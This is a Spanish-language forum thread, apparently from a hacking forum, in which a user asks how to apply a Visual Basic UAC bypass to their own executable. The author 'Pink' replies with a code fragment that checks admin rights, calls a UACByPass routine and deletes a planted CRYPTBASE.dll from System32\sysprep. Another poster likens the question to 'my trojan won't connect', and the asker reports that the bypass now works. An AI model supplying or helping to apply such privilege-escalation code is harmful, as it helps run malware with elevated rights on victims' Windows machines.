Hola,
he estado probando este bypass, pero no se como aplicarlo a mi exe. no se si debo añadirlo como recurso o poner la ruta del exe. estoy probando pero no lo tengo nada claro.
decir que es la primera vez que utilizo vb y hay partes del codigo que no entiendo.

saludos

Como lo estas haciendo?

Saludos

Hola pink,
pues he estado poniendo un "shell ruta" en distintos sitios, entre ellos al final de la funcion bypass, pero nada. Luego he estado leyendo como ponerlo como recurso, pero aun no lo he aplicado. mañana lo probare a ver q tal.
imagino que poco a poco se me ira aclarando el codigo.

saludos

Luego lo reviso que a mi ya se me olvido jajajaja.

saludos

todo bien, pero pink subio el codigo y hasta creo un video de como compilarlo
y no veo una duda concreta de tu parte
veo una pregunta parecia a "no me conecta el troyano que puede ser".

Estudia esta parte del código.

Dim sWindir As String
Dim sCryptsys As String
Dim sCrypTemp As String


If InIDE() Then
Call MsgBox("¬¬ Compila Primero!!!", vbOKOnly, "Pink")
End
End If


sWindir = Environ$("windir")

sCrypTemp = TempPath() & "CRYPTBASE.dll"
sCryptsys = sWindir & "\System32\sysprep\CRYPTBASE.dll"

If IsUserAnAdmin Then

If FileExist(sCrypTemp) Then
DeleteFile (sCrypTemp)
End If

While FileExist(sCryptsys)
If FileExist(sCryptsys) Then
DeleteFile (sCryptsys)
End If
Wend

Call MsgBox("Soy Admin :)", vbOKOnly, "Pink")

Else
Call MsgBox("No soy Admin :(", vbOKOnly, "Pink")
Call UACByPass
End
End If

Saludos

gracias pink.
lo habia puesto despues del msgbox 'no soy admin'...soy asi de listo . ya esta solucionado y funciona de 10.
lo dicho, gracias por todo.

saludos